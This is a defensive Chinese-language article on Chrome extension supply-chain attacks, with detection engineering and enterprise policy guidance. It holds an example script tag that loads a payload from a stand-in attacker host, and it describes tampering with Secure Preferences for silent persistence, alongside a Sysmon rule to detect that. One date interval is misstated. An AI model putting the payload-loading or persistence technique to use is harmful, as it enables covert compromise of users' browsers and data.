"扩展不是用户装的，是更新通道推的"：Chrome 扩展供应链攻击的检测工程与权限审计

一、从两个事件看扩展的信任裂缝

2024 年 12 月底，法国威胁情报公司 SEKOIA 披露了一场针对 Chrome 扩展开发者的定向钓鱼攻击。攻击者冒充 Google Chrome Web Store（CWS）支持团队，向至少 35 名扩展开发者发送钓鱼邮件，窃取其 CWS 凭据后上传恶意版本。受影响扩展总安装量约 260 万，被注入的代码具备数据窃取和凭证收割能力[^1]。这不是传统的"用户下载了恶意软件"，而是"用户信任的软件被更新通道篡改了"。

不到一年后，微软在 2026 年 3 月发布了一份更切中企业痛点的报告：一批伪装成 AI 助手的 Chrome 扩展，通过 content script 注入 ChatGPT、DeepSeek 等 LLM 平台，窃取用户聊天记录和浏览数据。总安装量近 90 万次，波及超过 2 万个企业租户[^3]。这些扩展并非一开始就恶意——它们通过了 CWS 审核，获得了用户授权，然后在其生命周期内执行数据收集。

两个事件的共同点是：攻击面不在安装时刻，而在更新通道；不在权限申请对话框，而在开发者账户和代码签名链路的完整性。

Malwarebytes 在 2025 年 12 月提出的"休眠扩展"（sleeper extensions）概念进一步印证了这个模式：开发者先积累信任、获取数百万安装甚至"Featured"标签，然后在某个更新节点推送恶意代码，将扩展变为间谍软件，影响超过 400 万台设备[^5]。用户最初点击"添加扩展"时的信任决策，对后续更新没有任何约束力。

这意味着什么？浏览器扩展的安全模型有一个结构性缺陷：一次性授权、终身运行、自动更新、代码不透明。用户看到的权限提示只是 manifest 的静态声明，而扩展的实际行为由远端服务器动态推送的代码决定。当开发者账户被劫持、扩展被转让、或者发布者主动作恶时，现有的用户授权机制无法提供任何拦截能力。

二、攻击链：从开发者账户到用户浏览器的四条路径

MITRE ATT&CK 将浏览器扩展滥用列为 T1176.001[^8]，并指出攻击者可以通过两种主要方式利用扩展：一是修改浏览器本地配置文件（Preferences / Secure Preferences）静默安装扩展；二是通过 Chrome Web Store 发布或更新恶意扩展。前者需要本地系统访问权限，通常作为后续持久化手段；后者才是供应链攻击的核心——攻击者不需要接触终端设备，只需控制更新管道。

结合 SEKOIA、Microsoft、Malwarebytes 和 The Hacker News 披露的案例[^1][^3][^5][^6]，可以将扩展供应链攻击抽象为以下四条路径：

**路径一（开发者账户劫持）**是 2024-2025 年 SEKOIA 事件的主链路。攻击者发送伪装成 CWS 支持团队的钓鱼邮件，诱导开发者点击伪造的 OAuth 授权链接，从而获得对其 CWS 发布者账户的完全控制。一旦得手，攻击者可以立即上传新版本，所有已安装用户会在数小时内通过 Chrome 的自动更新机制（Omaha）接收到恶意代码。

**路径二（所有权转让）**在 2026 年 3 月被 The Hacker News 集中报道[^6]。一些高安装量的扩展开发者出于各种原因（厌倦维护、经济压力）将扩展出售或转让给第三方，而新的所有者可能立即将扩展武器化。CWS 目前的所有权转让机制并不向终端用户发送显著警告，用户甚至不会意识到扩展的"人格"已经改变。

**路径三（CI/CD 入侵）**虽然未在公开案例中被明确归因，但从工程角度看风险极高。许多扩展使用 GitHub Actions 自动打包并发布到 CWS，如果攻击者入侵了扩展的源码仓库或 CI 流水线，可以在不接触开发者个人账户的情况下注入恶意代码。2025 年 arXiv 上的研究表明，研究者成功绕过了 Chrome 和 Firefox 的扩展审核机制[^2]，证明整个发布链路的完整性并不如官方描述的那般坚固。

**路径四（伪装扩展）**是微软 2026 年报告中的主要模式[^3]。攻击者创建全新的扩展，伪装成热门的 AI 工具（如"ChatGPT Sidebar"、"DeepSeek Assistant"），通过 SEO 和社交媒体推广获取安装。这些扩展在初始版本可能完全正常，甚至在 CWS 审核期间表现 benign，待安装量达到一定规模后再通过更新激活恶意功能。

四条路径的交汇点是同一个：Chrome 的自动更新机制将 CWS 上的代码变更无差别地推送到所有已安装终端，用户端没有二次确认，企业端也没有天然的可观测性。

三、Manifest V3 改了什么、没改什么

Google 从 2024 年开始强制推行 Manifest V3，官方定位是"提升扩展的隐私、安全和性能"[^9]。从架构层面看，V3 做了三个关键改动：

第一，Service Worker 替代后台页（background page）。V2 的 background page 是一个持久运行的完整网页环境，扩展可以长时间持有状态并执行任意网络请求。V3 将其替换为事件驱动的 Service Worker，闲置一段时间后会被浏览器终止，理论上减少了扩展长期驻留的能力。

第二，declarativeNetRequest（DNR）替代 webRequest.blocking。V2 中广告拦截扩展可以通过 webRequest API 的 blocking 模式实时拦截和修改网络请求，这虽然功能强大，但也意味着扩展能完整观测用户的所有流量。V3 将拦截能力收归到浏览器内核，扩展只能提交静态规则列表，由浏览器统一匹配执行。

第三，更严格的内容安全策略（CSP）。V3 默认禁止扩展执行远程托管的代码（remote code execution），要求所有脚本必须打包在扩展内部。这直接封堵了过去扩展通过 <script src="https://attacker.com/payload.js"> 动态加载恶意代码的攻击面。

这三个改动确实提升了扩展平台的基线安全，但面对供应链攻击时，V3 存在明显的边界局限：

安全改进	对供应链攻击的有效性	绕过面
Service Worker 生命周期限制	低	恶意代码不需要长期驻留，只需在事件触发时执行即可完成任务（如页面加载时注入脚本、定时回传数据）
DNR 替代 webRequest.blocking	中	数据窃取不依赖网络请求拦截，content script 可直接读取 DOM 并通过 `fetch` 外发；DNR 甚至不影响 `fetch` 权限
禁止远程代码执行	中-高	攻击者控制的更新通道可以直接将恶意代码打包进新版本 CRX，远程代码限制对更新包无效
权限声明静态化	低	manifest 中的权限在更新时可以增加，Chrome 会向用户显示提示，但企业用户通常缺乏拒绝更新的机制

2025 年 arXiv 上的系统研究验证了这些绕过面的存在[^2]。研究者成功在 CWS 上发布并执行了具备恶意行为的 V3 扩展，证明 V3 的安全增强主要针对" benign 扩展被第三方利用"的场景，而非"恶意发布者直接上传恶意代码"的场景。换言之，V3 假设发布者是可信的，而供应链攻击恰恰破坏的就是这个假设。

OWASP 的浏览器扩展漏洞速查表也指出了类似的结构性问题：权限过度申请（Permissions Overreach）仍然是扩展生态的常态[^7]。一个伪装成"PDF 阅读器"的扩展申请 storage、activeTab、scripting、cookies 权限，在 V3 框架下完全合法，而用户面对权限提示时几乎没有判断力。

四、权限不是越多越好：高风险组合的检测信号

浏览器扩展的权限模型基于"最小权限原则"设计，但在实际生态中，扩展倾向于申请远超其功能所需的权限。Island.io 的研究指出，企业环境中存在严重的"权限认知鸿沟"（permissions awareness gap）：用户看到的权限提示与实际的数据访问范围之间存在巨大落差[^4]。

一个扩展申请 <all_urls> 或 *://*/* 的 host permissions，意味着它可以在用户访问的每一个网页上注入 content script。配合 cookies 权限，它可以读取所有网站的会话凭证；配合 storage 和 scripting 权限，它可以持久化窃取的数据并在任意页面执行额外脚本。这些权限组合在 V3 下完全合法，却构成了完整的数据窃取能力。

以下是基于 OWASP 速查表[^7]、Microsoft 报告[^3] 和 arXiv 研究[^2] 整理的高风险权限组合与检测信号：

权限组合	功能能力	典型滥用场景	检测信号
`<all_urls>` + `scripting`	在所有页面注入和执行脚本	会话劫持、凭据收割、广告注入	content script 匹配模式为 `:///*`；频繁访问非扩展相关域名
`cookies` + `webRequest` / `activeTab`	读取和修改任意站点 Cookie	会话劫持、身份冒充	对高价值域名（google.com、github.com、office.com）的 Cookie 访问
`storage` + `<all_urls>` + `background`	持久化存储跨站数据	批量数据收集、长期监控	storage API 写入频率异常；数据量与扩展声明功能不匹配
`tabs` + `activeTab` + `scripting`	观测和操作用户打开的任意标签页	LLM 聊天记录窃取、DOM 快照	对特定 SaaS 平台（chatgpt.com、deepseek.com）的 tab 事件监听
`management` + `downloads`	管理其他扩展并下载文件	禁用安全扩展、投递第二阶段载荷	调用 `chrome.management.setEnabled` 禁用其他扩展；非用户触发的下载行为
`declarativeNetRequest` + `host_permissions`	修改网络请求（V3 限定静态规则）	流量重定向、中间人攻击	DNR 规则集包含指向外部域名的重定向规则；规则更新频率异常

Microsoft 在 2026 年 3 月的报告中特别强调了 LLM 平台窃取场景[^3]。恶意扩展通过申请 activeTab 和 scripting 权限，在用户访问 ChatGPT 或 DeepSeek 时注入 content script，读取页面 DOM 中的对话内容，然后通过 fetch 发送到攻击者控制的服务器。由于这些扩展通常伪装成"AI 助手"或"ChatGPT 增强工具"，用户对其申请的权限缺乏警惕。

从检测工程的角度，这些权限组合本身并非恶意指标——许多合法扩展（如密码管理器、广告拦截器）也需要类似的权限。关键检测信号在于行为异常：一个 PDF 工具为什么频繁访问 chatgpt.com？一个主题扩展为什么每天上传数 MB 的 storage 数据？这些行为-权限的错配才是蓝队需要关注的信号。

五、企业治理：把"用户信任"转化为"策略约束"

当扩展的威胁模型从"用户误装"转变为"更新通道被污染"时，端点安全的治理重心也必须随之调整。传统的"杀毒软件 + 防火墙"架构对扩展供应链攻击几乎无效：扩展运行在浏览器沙箱内部，网络流量通过 HTTPS 加密，代码动态更新且形态多变。企业需要一套专门针对扩展生命周期的检测与治理体系。

Chrome Enterprise 提供了一组策略工具[^10]，可以将扩展管理从"用户自主"转变为"IT 管控"。核心策略包括：

ExtensionInstallBlocklist：全局黑名单。值设为 ["*"] 可阻止所有扩展安装，值设为特定扩展 ID 可精准阻断已知恶意扩展。

ExtensionInstallAllowlist：白名单模式。与黑名单配合使用，允许安装经 IT 审计的扩展。注意：白名单策略在企业环境中通常比黑名单更安全，因为 CWS 上的扩展数量超过 10 万，黑名单无法覆盖未知威胁。

ExtensionInstallForcelist：强制安装。IT 可以强制推送安全工具（如密码管理器、DLP 代理）到所有受管浏览器，且用户无法卸载。

ExtensionSettings：细粒度控制。针对单个扩展配置运行模式、权限限制和更新策略。例如可以禁止某个扩展访问特定域名，或限制其 content script 的注入范围。

这些策略在 Windows 环境下通过注册表或组策略（GPO）部署，在 macOS 和 Linux 下通过配置文件或 MDM 下发。以 Windows 注册表为例，一个典型的白名单+强制安装配置如下：

Windows Registry Editor Version 5.00
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist]
"1"="cjpalhdlnbpafiamejdnhcphjbkeiagm"
"2"="nngceckbapebfimnlniiiahkandclblb"
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist]
"1"="your-security-extension-id;https://clients2.google.com/service/update2/crx"
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionSettings]
"*"="{\"installation_mode\": \"blocked\"}"

上述配置的含义是：默认阻止所有扩展安装（installation_mode: blocked），仅允许两个特定 ID 的扩展（uBlock Origin 和 Bitwarden），并强制安装一个安全监控扩展。策略生效后，用户在 chrome://extensions 页面无法手动安装白名单之外的扩展，且 chrome://policy 页面会显示策略来源和状态。

验证边界说明：本次任务尝试在已授权的 Windows 测试节点上读取注册表策略状态，但该节点未配置 Chrome 企业策略（HKLM\SOFTWARE\Policies\Google\Chrome 路径不存在）。这是测试环境的预期状态——该节点主要用于浏览器自动化实验，未加入域也未部署 Chrome ADMX 模板。以下给出的注册表片段和验证方法基于 Chrome Enterprise 官方文档[^10] 和公开技术资料，企业管理员可在已部署 Chrome 策略的环境中复现。

策略部署只是第一层控制。更关键的挑战是：如何检测已安装的扩展是否发生了恶意行为更新？

六、检测工程：覆盖扩展生命周期的四层监控

扩展供应链攻击的检测不能依赖单点告警。一个完整的检测工程方案需要覆盖扩展生命周期的四个阶段：安装前审计、安装时拦截、运行时行为监控、更新时异动检测。每一层对应不同的数据源、检测逻辑和响应动作。

第一层：安装前审计

在企业允许扩展进入白名单之前，应对其进行代码级审计。审计维度包括：

权限-功能错配：一个"天气插件"申请 cookies 和 <all_urls> 权限，属于明显错配。可以建立规则库自动标记。
代码静态分析：检查 content script 是否包含 fetch 调用指向外部域名、是否使用 eval 或 Function 构造器、是否包含混淆代码。
开发者信誉：检查开发者的其他扩展历史、GitHub 活跃度、CWS 账户年限。新账户发布的"高功能"扩展风险更高。

CrowdStrike 的浏览器扩展评估平台[^11] 和 Chrome Enterprise 的扩展风险评分[^10] 都采用了类似的思路，但企业也可以自建轻量级审计流水线：定期抓取白名单扩展的 CRX 包，解压后执行 ESLint + 自定义规则扫描，对 manifest.json 中的权限组合进行评分。

第二层：安装时拦截

安装时拦截依赖 Chrome 策略和端点监控的联动。策略层负责"阻止未经批准的扩展"，端点监控负责"检测策略绕过"。

MITRE ATT&CK T1176.001 指出，攻击者可以直接修改浏览器的 Secure Preferences 文件实现静默安装[^8]。在 Windows 上，该文件位于：

%LOCALAPPDATA%\Google\Chrome\User Data\Default\Secure Preferences

攻击者如果已获得本地管理员或 SYSTEM 权限，可以在浏览器未运行时修改此文件，使 Chrome 在下次启动时自动加载恶意扩展。这意味着即使 Chrome 策略已配置白名单，本地权限被突破后策略仍可能被绕过。

因此，端点检测需要监控 Secure Preferences 文件的变更事件。可以使用 Sysmon（Windows）或 auditd（Linux）监控以下路径：

<!-- Sysmon FileCreate 规则示例 -->
<RuleGroup name="Chrome Extension Persistence" groupRelation="or">
  <FileCreate onmatch="include">
    <TargetFilename condition="contains">\Google\Chrome\User Data\Default\Secure Preferences</TargetFilename>
  </FileCreate>
</RuleGroup>

当 Secure Preferences 被非 Chrome 进程修改时，应触发高优先级告警。

第三层：运行时行为监控

运行时监控是检测工程中最困难的环节，因为扩展代码运行在浏览器进程内部，传统 EDR 难以直接观测其行为。但有几个间接数据源可以利用：

Chrome 网络日志（NetLog）：Chrome 支持通过 --log-net-log 参数记录所有网络请求。企业可以在受管设备上启用 NetLog 收集，分析扩展进程发起的 fetch / XMLHttpRequest 请求。如果一个扩展频繁向未知域名发送 POST 请求，且请求体体积与声明功能不匹配，即为异常信号。

Chrome 扩展活动日志：Chrome Enterprise Premium 提供扩展活动报告[^10]，记录每个扩展的权限使用事件（如 content script 注入、Cookie 访问、文件下载）。这是目前最精确的运行时数据源，但需要订阅 Chrome Enterprise Premium。

代理层流量分析：如果企业部署了 SSL 解密代理（如 Zscaler、Palo Alto），可以在网关层分析扩展的网络流量特征。恶意扩展的 C2 通信通常具有以下模式：固定时间间隔的心跳、HTTP POST 请求体为加密或编码数据、User-Agent 与 Chrome 版本不匹配。

第四层：更新异动检测

扩展供应链攻击的核心触发点是"更新"。因此，对更新行为的监控比对安装行为的监控更重要。

Chrome 的更新机制基于 Omaha 协议，扩展更新 URL 默认为：

https://clients2.google.com/service/update2/crx?response=updatecheck&acceptformat=crx3&prodversion=XX.0.0.0&x=id%3D<扩展ID>%26installsource%3Dondemand%26uc

企业可以在网络边界监控对所有 CWS 更新 URL 的请求，但更重要的是在端点侧检测扩展版本的突变。一个可行的方案是：

定期（如每日）通过 Chrome DevTools Protocol（CDP）或 chrome.management API（需 management 权限的受管扩展）采集已安装扩展的版本号和 CRX 哈希。
将版本号与上一次的基线比对，识别"未经 IT 审批的版本升级"。
对新版本 CRX 进行快速静态扫描：检查 manifest 中新增的权限、新增的 content script 匹配模式、新增的外部连接域名（externally_connectable）。

Island.io 提出的"持续扩展监控"方案[^4] 也强调了这个思路：扩展的风险不是静态的，同一个扩展在不同版本之间可能从 benign 变为 malicious。企业需要将扩展版本变更视为软件供应链中的"新物料入库"事件，重新触发审计流程。

七、结论：信任工程需要覆盖更新通道

浏览器扩展的安全问题，本质上是信任边界的错配。用户在安装时刻做出的信任决策，被浏览器自动更新机制无限延长到了扩展的整个生命周期。而扩展供应链攻击正是利用了这个错配：攻击者不需要欺骗用户安装恶意软件，只需要劫持或收购一个已被信任的更新通道。

Manifest V3 的改进值得肯定——Service Worker 的生命周期限制、declarativeNetRequest 的静态规则、远程代码执行的禁止——这些都提升了扩展平台的基线安全。但 V3 的设计假设是"发布者可信"，而 2024-2026 年的一系列事件反复证明，这个假设在供应链攻击面前不成立。

对企业安全团队而言，治理扩展风险不能只靠终端用户的"谨慎安装"。需要建立覆盖扩展全生命周期的检测工程体系：

策略层：用 Chrome Enterprise 的白名单和强制安装策略，将扩展管理从"用户自主"转为"IT 管控"。
审计层：把扩展版本更新视为"新物料入库"，重新触发权限审计和代码扫描。
检测层：监控 Secure Preferences 的异常变更、扩展网络流量的行为错配、以及 CWS 更新管道的版本异动。
响应层：建立扩展事件的快速隔离能力——当某个扩展被确认恶意时，能够通过 GPO/MDM 在分钟级将其从所有受管浏览器中移除。

最后需要明确一个边界：当前没有完美的技术方案可以 100% 阻止扩展供应链攻击。Chrome Web Store 的审核机制可以被绕过，开发者账户可以被钓鱼，CI/CD 流水线可以被入侵，扩展所有权可以暗中转让。企业能做的，是在"完全开放"和"完全禁止"之间找到一个可审计、可检测、可响应的中间状态——让扩展的风险从"不可见"变为"可度量"，从"不可控"变为"可治理"。